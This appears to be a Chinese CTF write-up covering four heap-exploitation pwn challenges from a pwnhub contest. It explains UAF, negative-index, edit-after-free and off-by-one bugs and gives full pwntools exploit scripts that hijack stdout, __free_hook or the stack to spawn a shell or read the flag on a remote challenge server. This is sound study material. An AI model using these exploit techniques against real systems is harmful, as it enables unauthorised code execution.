[pwnhub 2023.3] 内部赛pwn专题

文章描述了一场编程比赛中的题目,涉及到使用Docker环境,赛题包含堆管理的元素,如添加、删除、编辑和显示文件操作。重点讨论了一个明显的未初始化指针使用(Use-After-Free,UAF)漏洞,以及如何利用这个漏洞进行解题,包括填充tcache、获取libc地址、修改free_hook和执行系统命令。文章还提供了exploit的代码示例,展示了如何利用这些技术来解决堆题和获取系统权限。
摘要由CSDN通过智能技术生成

拿到邀请码进群,但已经不能时光倒流报名了,好在跟群友要来了附件和docker地址,周六干到12点.

比赛一共4题,其中sh_v1.1是公开赛的题,公开赛72小时明天才结束,先保密,明天再在本篇加上.

sh_v1.1

预留位置,明天再放

明天到了,早把这事忘了,其实作为公开赛的题,难度理应比其它的简单。不过这题用了个不常见的东西:垃圾代码。类似到辣子鸡丁。代码看上去这是样的。

__int64 sub_1423()
{
  const char *src; // [rsp+10h] [rbp-40h]
  const char *srca; // [rsp+10h] [rbp-40h]
  const char *srcb; // [rsp+10h] [rbp-40h]
  char delim[2]; // [rsp+1Eh] [rbp-32h] BYREF
  char s[8]; // [rsp+20h] [rbp-30h] BYREF
  __int64 v6; // [rsp+28h] [rbp-28h]
  __int64 v7; // [rsp+30h] [rbp-20h]
  __int64 v8; // [rsp+38h] [rbp-18h]
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  strcpy(delim, " ");
  *(_QWORD *)s = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  sub_13C4();
  if ( dword_A010 > dword_A014 )
    dword_A018 ^= dword_A020;
  if ( dword_A010 < dword_A020 || dword_A014 > dword_A010 )
    dword_A018 += dword_A020;
  if ( dword_A024 < dword_A020 || dword_A01C > dword_A010 )
  {
    dword_A014 = dword_A020 * dword_A010;
    if ( dword_A010 != dword_A020 * dword_A010 || dword_A01C != dword_A014 || dword_A01C > dword_A024 )
    {
      dword_A018 ^= dword_A020;
      dword_A018 += dword_A020;
      dword_A014 = dword_A020 * dword_A010;
      if ( dword_A010 > dword_A020 * dword_A010 )
        dword_A018 ^= dword_A020;
      if ( dword_A010 < dword_A020 || dword_A014 > dword_A010 )
        dword_A018 += dword_A020;
      if ( dword_A024 < dword_A020 || dword_A01C > dword_A010 )
        dword_A014 = dword_A020 * dword_A010;
    }
  }
  if ( dword_A010 != dword_A014 || dword_A01C != dword_A014 || dword_A01C > dword_A024 )
  {
    dword_A018 ^= dword_A020;
    dword_A018 += dword_A020;
    dword_A014 = dword_A020 * dword_A010;
    if ( dword_A010 > dword_A020 * dword_A010 )
      dword_A018 ^= dword_A020;
    if ( dword_A010 < dword_A020 || dword_A014 > dword_A010 )
      dword_A018 += dword_A020;
    if ( dword_A024 < dword_A020 || dword_A01C > dword_A010 )
      dword_A014 = dword_A020 * dword_A010;
  }
  read_str(s, 32LL);
  src = strtok(s, delim);

经过观察20到51这一段反复出现多次,而且与其它代码没任何联系。于是把这代码复制出来,手工去掉这块就得到这个

__int64 sub_231E()
{
  int i; // [rsp+8h] [rbp-8h]
  int j; // [rsp+8h] [rbp-8h]
  int k; // [rsp+8h] [rbp-8h]
  int ii; // [rsp+8h] [rbp-8h]
  int jj; // [rsp+8h] [rbp-8h]
  int kk; // [rsp+8h] [rbp-8h]
  int m; // [rsp+Ch] [rbp-4h]
  int n; // [rsp+Ch] [rbp-4h]
  int mm; // [rsp+Ch] [rbp-4h]

  if ( !s1[0] )
  {
    puts("command is NULL!!!");
    return 0LL;
  }
  if ( !strcmp(s1, "ls") )
  {
    for ( i = 0; i <= 79; ++i )//A0C0[80]  tag:8,filename:32,ptr:8
    {
      if ( *((_QWORD *)&unk_A0C0 + 6 * i) == 1LL )
        printf("%s ", (const char *)&unk_A0C0 + 48 * i + 8);
    }
    putchar(10);
    return 0LL;
  }
  if ( !strcmp(s1, "cat") )  //show
  {
    if ( src[0] )
    {
      for ( j = 0; j <= 79; ++j )
      {
        if ( !strcmp(src, (const char *)&unk_A0C0 + 48 * j + 8) )
        {
          if ( *((_QWORD *)&unk_A0C0 + 6 * j) == 1LL )
          {
            puts((const char *)qword_A0E8[6 * j]);
            return 0LL;
          }
LABEL_223:
          puts("NO FILE");
          return 0LL;
        }
      }
      goto LABEL_223;
    }
    goto LABEL_711;
  }
  if ( !strcmp(s1, "touch") )//add
  {
    if ( src[0] )
    {
      for ( k = 0; k <= 79; ++k )
      {
        if ( !*((_QWORD *)&unk_A0C0 + 6 * k) )
        {
          *((_QWORD *)&unk_A0C0 + 6 * k) = 1LL;
          qword_A0E8[6 * k] = malloc(0x208uLL);
          read_str(qword_A0E8[6 * k], 520LL);
          strcpy((char *)&unk_A0C0 + 48 * k + 8, src); //文件名,可能有溢出
          return 0LL;
        }
      }
LABEL_807:
      puts("Maximum number of files. Please delete the file.");
      return 0LL;
    }
LABEL_711:
    puts("file_name is NULL");
    return 0LL;
  }
  if ( !strcmp(s1, "cp") ) /arg1与第1个相同,arg2目标文件名同
  {
    if ( !src[0] || !qword_A090[0] )
      goto LABEL_711;
    if ( !strcmp(src, (const char *)&unk_A0C0 + 8) && unk_A0C0 == 1LL ) 
    {
      for ( m = 0; m <= 79; ++m )
      {
        if ( !strcmp(qword_A090, (const char *)&unk_A0C0 + 48 * m + 8) ) //复制到第1
        {
          strncpy((char *)qword_A0E8[6 * m], (const char *)qword_A0E8[0], 0x208uLL);
          return 0LL;
        }
      }
      for ( n = 0; ; ++n ) //找个空地
      {
        if ( n > 79 )
          goto LABEL_807;
        if ( !*((_QWORD *)&unk_A0C0 + 6 * n) )
          break;
      }
      *((_QWORD *)&unk_A0C0 + 6 * n) = 1LL;
      qword_A0E8[6 * n] = malloc(0x208uLL);
      strcpy((char *)&unk_A0C0 + 48 * n + 8, qword_A090);
      strncpy((char *)qword_A0E8[6 * n], (const char *)qword_A0E8[0], 0x208uLL);
      return 0LL;
    }
    goto LABEL_840;
  }
  if ( !strcmp(s1, "gedit") )//edit
  {
    if ( !src[0] )
      goto LABEL_711;
    for ( ii = 0; ; ++ii )
    {
      if ( ii > 79 )
        goto LABEL_840;
      if ( !strcmp(src, (const char *)&unk_A0C0 + 48 * ii + 8) )
        break;
    }
    if ( *((_QWORD *)&unk_A0C0 + 6 * ii) == 1LL )
    {
      read_str(qword_A0E8[6 * ii], 512LL);
      return 0LL;
    }
    goto LABEL_840;
  }
  if ( !strcmp(s1, "rm") )//free
  {
    if ( !src[0] )
    {
      goto LABEL_711;
    }
    for ( jj = 0; ; ++jj )
    {
      if ( jj > 79 )
        goto LABEL_840;
      if ( !strcmp(src, (const char *)&unk_A0C0 + 48 * jj + 8) )
        break;
    }
    if ( *((_QWORD *)&unk_A0C0 + 6 * jj) == 1LL )
    {
      free((void *)qword_A0E8[6 * jj]);
       qword_A0E8[6 * jj] = 0LL;
      *((_QWORD *)&unk_A0C0 + 6 * jj) = 0LL;
      return 0LL;
    }
    goto LABEL_840;
  }
  if ( strcmp(s1, "ln") )
    return 0LL;
  if ( !src[0] )
    goto LABEL_711;
  if ( !qword_A090[0] )
    goto LABEL_711;
  for ( kk = 0; ; ++kk )
  {
    if ( kk > 79 )
    {
      goto LABEL_840;
    }
    if ( !strcmp(src, (const char *)&unk_A0C0 + 48 * kk + 8) )
      break;
  }
  if ( *((_QWORD *)&unk_A0C0 + 6 * kk) != 1LL )
  {
LABEL_840:
    printf("file:%s is not exist;", src);
    return 0LL;
  }
  for ( mm = 0; ; ++mm )
  {
    if ( mm > 79 )
      goto LABEL_807;
    if ( !*((_QWORD *)&unk_A0C0 + 6 * mm) )
      break;
  }
  strcpy((char *)&unk_A0C0 + 48 * mm + 8, qword_A090);
  *((_QWORD *)&unk_A0C0 + 6 * mm) = 1LL;
  qword_A0E8[6 * mm] = qword_A0E8[6 * kk];   //对指针进行复制,可能是UAF
  return 0LL;
}

从代码上看他基本是个VM的题但仔细看是个堆题。有add(touch idx,msg) free(rm idx) show(cat idx) edit(gedit idx,msg),另外还多出一个ln idx,idx 这是复制指针。这也是题目明显给出的UAF漏洞,当指针被复制后不管F不F都有可以U,所以有个直接给出的复制指针,解题也就容易了。

由于块大小是固定的0x208需要释放8块先填充tcache才能得到unsorted,然后通过复制的指针show得到libc再写system到 free_hook

from pwn import *

#p = process('./sh_v1.1')
p = remote('121.40.89.206', 34883)
context(arch='amd64', log_level='debug')

elf = ELF('./sh_v1.1')
libc = ELF('./libc-2.31.so')

def add(fname, msg):
    p.sendlineafter(b'>>>>', b'touch '+fname.encode())
    p.sendline(msg)

def free(fname):
    p.sendlineafter(b'>>>>', b'rm '+fname.encode())

def show(fname):
    p.sendlineafter(b'>>>>', b'cat '+fname.encode())

def edit(fname, msg):
    p.sendlineafter(b'>>>>', b'gedit '+fname.encode())
    p.sendline(msg)
    
def cp_ptr(fname1, fname2):
    p.sendlineafter(b'>>>>', b'ln '+fname1.encode() + b' '+ fname2.encode())

for i in range(10):
    add(str(i), b' ')

cp_ptr('6','11')
cp_ptr('7','12')

for i in range(8):
    free(str(i))

show('12')
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(hex(libc.address))

edit('11', p64(libc.sym['__free_hook'] -8) )
add('0', b'')
add('1', b'/bin/sh\x00'+p64(libc.sym['system']))

free('1')
p.interactive()

three_edit

堆题,给了libc-2.31.so 这是libc-2.31-0ubunto9版本,网站上一般都是这个版本,但自己下载不容易.

题目给了3个函数:add,free,edit对堆题来说还少show,没有show的话,一般是爆破stdout。

漏洞:

这种漏洞相对题目少一丁点,在edit里定义n为整形而不是无符号整形,比较时也没有考虑负数,所以在这里可以向前越界。指针区在堆里,前越界时可以越界到tcache。

__int64 m3edit()
{
  int n; // [rsp+8h] [rbp-8h]

  dword_4010 = 0;
  puts("index?");
  n = read_n();
  if ( n > 14 || !*(_QWORD *)(8LL * n + v_ptr) )// 前越界 修改tcache
  {
    puts("illegal subscript");
    exit(0);
  }
  puts("new content:");
  read_str(*(_QWORD *)(8LL * n + v_ptr), 0x50uLL);// 固定长度
  return (unsigned int)--dword_4010;
}

限制:

1,在add里,建块大小为0x50-0x70这样就不能建大块释放得到unsort

  if ( v3 <= 79 || v3 > 112 )
  {
    puts("only 0x50-->0x70");
    exit(0);
  }

2,前面说的没有show需要爆破半字节得到_IO_2_1_stdout 劫持后得到输出

思路:

1,0x70的块(实际大小0x80)建11块,将来用1-9合起来作个大块释放到unsort

2,释放0和10,在样在tcache里会有一项指向10的指针,经过计算这个偏移是-60,这时修改-60就是修改刚释放的10块的指针(指向0),由于不知道堆地址,这里只修改1字节让他建成chunk与1块头部重叠,可以修改1块的头部得到一个大块,释放进unsort

3,释放刚修改过的1到unsort,再释放2,3,4在tcache里保存一项,然后建块将unsort的指针向后挤,让他落到4块的位置,这样4块的下个指针就有了libc里的地址。在这里建块会与4重叠(4在tcache)修改其实内容会影响到tcache表80的下一项被修改,在本地通过gdb可以得到stdout地址并在此修改,远程通过爆破得到1/16概率。爆破成功就会把块建到_IO_2_1_stdout_上,修改write_end得到含libc地址的输出。libc-2.27一般改成0x58,libc-2.31一般改成0,得到_IO_2_1_stdin_

4,对于这个题来说,难点就在于libc,由于没有其它限制,可以用2步的方向得到_free_hook,然后写/bin/sh\0+system

完整EXP

from pwn import *

def connect():
    #p = process('./pwn4')
    p = remote('121.40.89.206', 21795)
    return p 
    
context(arch='amd64')
#context.log_level='debug'

elf = ELF('./pwn4')
libc = ELF('./libc-2.31.so')

menu = b"is:"
def add(idx, size, msg):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"index:", str(idx).encode())
    p.sendlineafter(b"size:", str(size).encode())
    p.sendlineafter(b"content:", msg)

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"index?", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"index?", str(idx).encode())
    p.sendlineafter(b"new content:", msg)

def pwn():
    for i in range(11):
        add(i, 0x70, b'')

    edit(0, p64(0)*9 + p64(0x81))
    edit(1, p64(0)*9 + p64(0x31))
    free(0)
    free(10)

    #0x0c0 tcache:0x80 --> 0x2a0:ptr  -60
    edit(-60, b'\xf0')
    add(10, 0x70, b'')
    add(0, 0x70, p64(0)*5 + p64(0x481))
    for i in [1,2,3,4]:
        free(i) #1:unsort
    for i in [1,2,3,4]:
        add(i, 0x50, b'')

    #gdb.attach(p)
    #pause
    #0x7f979b4856a0 <_IO_2_1_stdout_>:       0x00000000fbad1887      0x00007f979b485723
    #lh = int(input('h:'), 16)
    lh = 3
    add(12, 0x60, p16(0x6a0+(lh<<12)))
    add(13, 0x70, b'')
    add(14, 0x70, p64(0xfbad1800)+p64(0)*3 + p8(0)) #stdout
    #p.recv()
    #pause()
    data = p.recvuntil(b'\x7f', timeout=0.5)
    if data[-1] != 0x7f:
        raise('Error')
        
    context.log_level='debug'
    
    libc.address = u64(data[-6:].ljust(8, b'\x00')) - libc.sym['_IO_2_1_stdin_']
    print(hex(libc.address))
    if libc.address & 0xfff != 0:
        print('error')
        exit()
    free(6)
    free(7)
    edit(-60, p64(libc.sym['__free_hook'] - 8))
    add(6, 0x70, b'')
    add(7, 0x70, b'/bin/sh\0'+ p64(libc.sym['system']))

    free(7)

    p.sendline(b'cat flag*')
    p.recv()
    p.interactive()

while True:
    try:
        print('Try...')
        p = connect()
        pwn()
    except KeyboardInterrupt as e:
        exit()
    except:
        p.close()

#flag{12awxvpjsd-21aqxw-a3daxdlpsd-987@376hnb}

tototo

同样是堆题,有add,free,edit,show全了

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int buf; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  buf = 0;
  init_0();
  set_prctl(a1, a2);
  while ( 1 )
  {
    no_free_hook();
    menu();
    read(0, &buf, 4uLL);
    switch ( atoi((const char *)&buf) )
    {
      case 1:
        m1add();                                // 20个 512-2048  可用10次
        break;
      case 2:
        m2free();
        break;
      case 3:
        m3edit();                               // 不检查mark,UAF 3次
        break;
      case 4:
        m4show();                               // 不检查
        break;
      case 5:
        m5add_calloc();                         // 10次
        break;
      default:
        continue;
    }
  }
}

漏洞:

指针区有3项:ptr,size,mark 在建块时设置mark=1删除时置为0,虽然没有清指针,但也没有UAF,不过在edit时没有检查,这导致可以随意对free后的指针修改

int m3edit()
{
  unsigned int n; // [rsp+Ch] [rbp-4h]

  if ( !dword_4018 )                            // 3次
    exit(0);
  puts("Which one?");
  n = read_n();
  if ( n >= 0x15 )
    return puts("up up down down down?");
  puts("new content?");
  read_str(ptr_4260[n] + 9LL, size_4160[n] - 48LL);// ROP 写到read后
  --dword_4018;
  return 0;
}

限制:

这题有两个限制,一是删除了__free_hook,并禁用了execve,二是只能建4个块malloc,calloc各最多10次并且修改最多3次。

思路:

一直打free_hook,不让用了还真比较麻烦。于是想到原先见过的_environ,先得到libc再建到environ,这里存的是一个栈地址show可以得到,通过这个地址计算edit函数中调用read时的返回地址,然后将ORW写在这后边。

完整EXP:

from pwn import *


#p = process('./tototo')
p = remote('121.40.89.206', 36789)
context(arch='amd64')

elf = ELF('./tototo')
libc = ELF('./libc-2.31.so')

menu = b'is:'
def add(idx, size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"index?\n", str(idx).encode())
    p.sendlineafter(b"size?\n", str(size).encode())

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Which one?", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Which one?\n", str(idx).encode())
    p.sendlineafter(b"new content?\n", msg[9:])

def show(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Which one?\n", str(idx).encode())

def add2(idx, size):
    p.sendlineafter(menu, b'5')
    p.sendlineafter(b"index?\n", str(idx).encode())
    p.sendlineafter(b"size?\n", str(size).encode())

add2(0, 0x620)
add2(1, 0x200)

free(0)
show(0)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(hex(libc.address))

add(2, 0x200)
add(3, 0x200)
add(4, 0x200)
free(1)
free(3)
show(3)
heap_base = u64(p.recvline()[:-1].ljust(8, b'\x00'))
print(hex(heap_base))

context.log_level='debug'
edit(0, b'\x00'*0x208+p64(0x211)+ p64(libc.sym['_environ']))  #1
add(3, 0x200)
add(5, 0x200)
show(5)
stack = u64(p.recvline()[:-1].ljust(8, b'\x00'))
print(hex(stack))

free(4)
free(3)
edit(0, b'\x00'*0x208+p64(0x211)+ p64(stack - 0x120 -0x30))  #2
add(3, 0x200)
add(6, 0x200) #

#gdb.attach(p)
#pause()

#ORW
pop_rdi = libc.address + 0x0000000000026b72 # pop rdi ; ret
pop_rdx = libc.address + 0x000000000011c371 # pop rdx ; pop r12 ; ret
pop_rsi = libc.address + 0x0000000000027529 # pop rsi ; ret
pop_rax = libc.address + 0x000000000004a550 # pop rax ; ret
syscall = libc.address + 0x0000000000066229

orw = [0,0,pop_rdi, 0, pop_rsi, 0, pop_rdx, 0,0, pop_rax,2, syscall, #O 1
       pop_rdi, 3, pop_rsi, 0, pop_rdx, 0x100,0, pop_rax,0, syscall, #R 13
       pop_rdi, 1, pop_rax, 1, syscall,                               #W
       b'flag.txt',0]
orw[3] = stack - 0x120 -0x30 + (len(orw)-2)*8
orw[15] = orw[3]
edit(6, flat(orw))
print(p.recv(0x100))

p.interactive()

#flag{1sddeasd-2axxxedw-a3dd23fdasd-a346gasdw}

ttsc

为什么会出现两个打stdout的题呢?

漏洞:

在edit这里边用的read_str时,比较时用>=这样会多写一个字节

unsigned __int64 __fastcall sub_ABF(__int64 a1, unsigned __int64 a2)
{
  char buf; // [rsp+13h] [rbp-Dh] BYREF
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; a2 >= i; ++i )                   // 可多写1字节 off_by_one
  {
    read(0, &buf, 1uLL);
    if ( buf == 10 )
      break;
    *(_BYTE *)(a1 + i) = buf;
  }
  return __readfsqword(0x28u) ^ v5;
}

限制:

这题限制非常讨厌,指针只能存放4个,建块最大0x80,edit只能改2次,2次后就关掉输出。虽然也有题可以摸黑干,但是难度必然会变大,最后在两次干完。

思路:

跟上边题一样,还是弄一堆来凑个大块free,不过由于只有4个指针,每次要建不同大小的块然后释放再建

由于off_by_one只能修改1字节,所以要先作重叠块,然后再由重叠块去修改头

坑:

这题用的libc-2.27同样是劫持_IO_2_1_stdout_ 但在本地调试时尾地址固定是c760,然后远程永远不成功,但改为b760的时候概率明显大于1/16,看来它加载的地址不是完全随机的。

完整EXP:

from pwn import *

def connect():
    #p = process('./ttsc')
    p = remote('121.40.89.206', 20111)
    return p 
    
context(arch='amd64')
context.log_level='error'

elf = ELF('./ttsc')
libc = ELF('/home/kali/glibc/2.27-3u1.6-amd64/libc-2.27.so')

menu = b"chs:"
def add(idx, size, msg=b'A\n'):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"index?\n", str(idx).encode())
    p.sendlineafter(b"size:\n", str(size).encode())
    sleep(0.1)
    p.send(msg)

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"index?\n", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"index?\n", str(idx).encode())
    p.sendlineafter(b"content:", msg)

def pwn():
    p.sendafter(b'?\n', b'A'*0x10)
    p.sendlineafter(b'?\n', b'100')
    p.sendlineafter(b'?\n', b'100')
    p.recvuntil(b'A'*0x10)
    stack = u64(p.recv(6).ljust(8, b'\x00')) - 0x20
    print(hex(stack))
    
    #20,20(30),80*4,70*4,60*4
    add(0,0x18)
    add(1,0x18)
    free(0)
    free(1)
    for s in [0x80,0x70,0x60]:
        for i in range(4):
            add(i, s-8)
        for i in [3,2,1,0]:
            free(i)
    
    add(2, 0x78)
    add(1, 0x18)
    add(0, 0x18)
    edit(0, p64(0)*3+p8(0x31)) #1
    free(1)
    add(1, 0x28, p64(0)*3+p64(0x481)+ b'\n')
    free(2)
    free(0)
    
    add(2, 0x38)
    add(3, 0x38)
    
    #gdb.attach(p)
    #pause()
    
    #0x7ff3ed7ec760 <_IO_2_1_stdout_>:       0x00000000fbad2887      0x00007ff3ed7ec7e3
    #lh = int(input('h:'), 16)
    lh = 0xb   #本在固定 0xc 远程大概率 0xb
    add(0, 0x38, p16(0x760+(lh<<12)) )
    
    free(1)
    free(2)
    free(3)
    add(1, 0x78)
    add(2, 0x78, p64(0xfbad1887)+p64(0)*3+p8(0x58))
    data = p.recvuntil(b'\x7f', timeout=0.2)
    if data[-1] != 0x7f:
        print('Data:',data)
        raise('Error')

    libc.address = u64(data+b'\x00'*2) - libc.sym['_IO_file_jumps']
    print(hex(libc.address))
    
    context.log_level = 'debug'
    #0=1
    free(0)
    edit(1, p64(libc.sym['__free_hook']-8))
    add(0, 0x38)
    add(3, 0x38, b'/bin/sh\0'+p64(libc.sym['system']))
    
    free(3)
    p.sendline(b'cat flag*')
    p.recv()
    p.interactive()

while True:
    try:
        print('Try...')
        p = connect()
        pwn()
    except KeyboardInterrupt as e:
        exit()
    except:
        p.close()
    
#flag{12sd22222s-213edw-a3aaazcd-ad213dasd2sdw}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值